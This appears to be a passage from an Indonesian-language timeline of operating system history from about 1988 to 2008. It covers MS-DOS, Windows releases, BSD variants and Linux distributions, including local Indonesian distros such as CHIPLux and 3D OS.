Microsoft mengeluarkan MS DOS 4.0 dengan suasana grafis. WWW : Proposal World Wide Web (WWW) oleh Tim Berners Lee. 1989 NetWare/386 (juga dikenal sebagai versi 3) diluncurkan oleh Novell untuk prosesor Intel 80386. 1990 Perpisahan : Dua perusahaan raksasa berpisah, IBM berjalan dengan OS/2 dan Microsoft berkonsentrasi pada Windows. Windows 3.0 : Microsoft meluncurkan Windows versi 3.0 yang mendapat sambutan cukup baik. MS Office : Microsoft membundel Word, Excel, dan PowerPoint untuk menyingkirkan saingannya seperti Lotus 1 2 3, Wordstar, Word Perfect dan Quattro. DR DOS : Digital Research memperkenalkan DR DOS 5.0. 1991 Linux 0.01 : Mahasiswa Helsinki bernama Linus Torvalds mengembangkan OS berbasis Unix dari sistem operasi Minix yang diberi nama Linux. MS DOS 5.0 : Microsoft meluncurkan MS DOS 5.0 dengan penambahan fasilitas full -screen editor, undelete, unformat dan Qbasic. 1992 Windows 3.1 : Microsoft meluncurkan Windows 3.1 dan kemudian Windows for Workgroups 3.11 di tahun berikutnya. 386 BSD : OS berbasis Open Source turunan dari BSD Unix didistribusikan oleh Bill Jolitz setelah meninggalkan Berkeley Software Design, Inc (BSDI). 386 BSD nantinya menjadi induk dari proyek Open Source BSD lainnya, seperti NetBSD, FreeBSD, dan OpenBSD. Distro Linux : Linux didistribusikan dalam format distro yang merupakan gabungan dari OS plus program aplikasi. Distro pertama Linux dikenal sebagai SLS (Softlanding Linux System). 1993 Windows NT : Microsoft meluncurkan Windows NT, OS pertama berbasis grafis tanpa DOS didalamnya yang direncanakan untuk server jaringan. Web Browser : NCSA memperkenalkan rilis pertama Mosaic, browser web untuk Internet. MS DOS 6.0 : Microsoft memperkenalkan MS DOS 6.0 Upgrade, yang mencakup program kompresi harddisk DoubleSpace. Slackware : Patrick Volkerding mendistribusikan Slackware Linux yang menjadi distro populer pertama di kalangan pengguna Linux. Debian : Ian Murdock dari Free Software Foundation (FSF) membuat OS berbasis Linux dengan nama Debian. MS DOS 6.2 : Microsoft meluncurkan MS DOS 6.2. NetBSD : Proyek baru OS berbasis Open Source yang dikembangkan dari 386BSD dibuat dengan menggunakan nama NetBSD. FreeBSD : Menyusul NetBSD, satu lagi proyek yang juga dikembangkan dari 386BSD dibuat dengan nama FreeBSD. 1994 Netscape : Internet meraih popularitas besar saat Netscape memperkenalkan Navigator sebagai browser Internet. MS DOS 6.22 : Microsoft meluncurkan MS DOS 6.22 dengan program kompresi bernama DriveSpace. Ini merupakan versi terakhir dari MS DOS. FreeDOS : Jim Hall, mahasiswa dari Universitas Wisconsin­River Falls Development mengembangkan FreeDOS. FreeDOS dibuat setelah Microsoft berniat menghentikan dukungannya untuk DOS dan menggantikannya dengan Windows 95. SuSE : OS Linux versi Jerman dikembangkan oleh Software und System Entwicklung GmbH (SuSE) dan dibuat dari distro Linux pertama, SLS. Red Hat : Marc Ewing memulai pembuatan distro Red Hat Linux. 1995 Windows 95 : Microsoft meluncurkan Windows 95 dengan lagu Start Me Up dari Rolling Stones dan terjual lebih dari 1 juta salinan dalam waktu 4 hari. PC DOS 7 : IBM memperkenalkan PC DOS 7 yang terintegrasi dengan program populer pengkompres data Stacker dari Stac Electronics. Ini merupakan versi terakhir dari IBM PC DOS. Windows CE : Versi pertama Windows CE diperkenalkan ke publik. PalmOS : Palm menjadi populer dengan PalmOS untuk PDA. OpenBSD : Theo de Raadt pencetus NetBSD mengembangkan OpenBSD. 1996 Windows NT 4.0 : Microsoft meluncurkan Windows NT versi 4.0 1997 Mac OS : Untuk pertama kalinya Apple memperkenalkan penggunaan nama Mac OS pada Mac OS 7.6. 1998 Windows 98 : Web browser Internet Explorer menjadi bagian penting dari Windows 98 dan berhasil menumbangkan dominasi Netscape Navigator. Server Linux : Linux mendapat dukungan dari banyak perusahaan besar, seperti IBM, Sun Microsystem dan Hewlet Packard. Server berbasis Linux mulai banyak dipergunakan menggantikan server berbasis Windows NT. Google : Search Engine terbaik hadir di Internet dan diketahui menggunakan Linux sebagai servernya. Japan Goes Linux : TurboLinux diluncurkan di Jepang dan segera menjadi OS favorit di Asia, khususnya di Jepang, China dan Korea. Mandrake : Gael Duval dari Brazil mengembangkan distro Mandrake yang diturunkan dari Red Hat. 1999 Support : Hewlett Packard mengumumkan layanan 24/7 untuk distro Caldera, Turbo Linux, Red Hat dan SuSE. Corel Linux : Corel pembuat program Corel Draw, yang sebelumnya telah menyediakan Word Perfect versi Linux, ikut membuat OS berbasis Linux dengan nama Corel Linux dan yang nantinya beralih nama menjadi Xandros. 2000 Mac OS/X : Mac OS diganti dengan mesin berbasis BSD Unix dengan kernel yang disebut sebagai Mac OS/X. Windows 2000: Microsoft meluncurkan Windows 2000 sebagai penerus Windows NT. Windows Me : Microsoft meluncurkan Windows Me, versi terakhir dari Windows 95. China Goes Linux : Red Flag Linux diluncurkan dari Republik Rakyat China. Microsoft vs IBM : CEO Microsoft Steve Ballmer menyebut Linux sebagai kanker dalam sebuah interview dengan Chicago Sun Times. Di lain pihak, CEO IBM Louis Gartsner menyatakan dukungan pada Linux dengan menginvestasikan $ 1 milyar untuk pengembangan Linux. 2001 Windows XP : Microsoft memperkenalkan Windows XP. Lindows: Michael Robertson, pendiri MP3.com, memulai pengembangan Lindows yang diturunkan dari Debian. Nantinya Lindows berganti nama menjadi Linspire karena adanya tuntutan perubahan nama oleh Microsoft. 2002 Open Office : Program perkantoran berbasis Open Source diluncurkan oleh Sun Microsystem. OS Lokal : OS buatan anak negeri berbasis Linux mulai bermunculan, diantaranya Trustix Merdeka, WinBI, RimbaLinux, Komura. 2003 Windows 2003 : Microsoft meluncurkan Windows Server 2003. Fedora : Redhat mengumumkan distro Fedora Core sebagai penggantinya. Nantinya ada beberapa distro lokal yang dibuat berbasiskan Fedora, seperti BlankOn 1.0 dan IGOS Nusantara. Novell : Ximian, perusahaan pengembang software berbasis Linux dibeli oleh Novell, begitu juga halnya dengan SuSE yang diakuisisi oleh Novell. LiveCD : Knoppix merupakan distro pertama Linux yang dikembangkan dengan konsep LiveCD yang bisa dipergunakan tanpa harus diinstal terlebih dahulu. Distro lokal yang dibuat dari Knoppix adalah Linux Sehat dan Waroeng IGOS. 2004 Ubuntu : Versi pertama Ubuntu diluncurkan dan didistribusikan ke seluruh dunia. Ada beberapa versi distro yang dikeluarkan, yaitu Ubuntu (berbasis Gnome), Kubuntu (berbasis KDE), Xubuntu (berbasis XFCE), dan Edubuntu (untuk pendidikan). 2005 Mandriva : Mandrake bergabung dengan Conectiva dan berganti nama menjadi Mandriva. 2006 Unbreakable Linux : Oracle ikut membuat distro berbasis Linux yang diturunkan dari Red Hat Enterprise. CHIPLux : Distro lokal terus bermunculan di tahun ini, bahkan Majalah CHIP yang lebih banyak memberikan pembahasan tentang Windows juga tidak ketinggalan membuat distro Linux dengan nama CHIPLux, yang diturunkan dari distro lokal PC LINUX dari keluarga PCLinuxOS (varian Mandriva). CHIPLux merupakan distro lokal pertama yang didistribusikan dalam format DVD. 2007 Vista : Setelah tertunda untuk beberapa lama, Microsoft akhirnya meluncurkan Windows Vista. Windows Vista memperkenalkan fitur 3D Desktop dengan Aero Glass, SideBar, dan Flip 3D. Sayangnya semua keindahan ini harus dibayar mahal dengan kebutuhan spesifikasi komputer yang sangat tinggi. 2008 3D OS : Tidak seperti halnya Vista yang membutuhkan spesifikasi tinggi, 3D Desktop di Linux muncul dengan spesifikasi komputer yang sangat ringan. Era hadirnya teknologi 3D Desktop di Indonesia ditandai dengan hadirnya sistem operasi 3D OS yang dikembangkan oleh PC LINUX. Ada beberapa versi yang disediakan, yaitu versi 3D OS untuk pengguna umum serta versi distro warnet Linux dan game center Linux. sumber : www.pclinux3d.com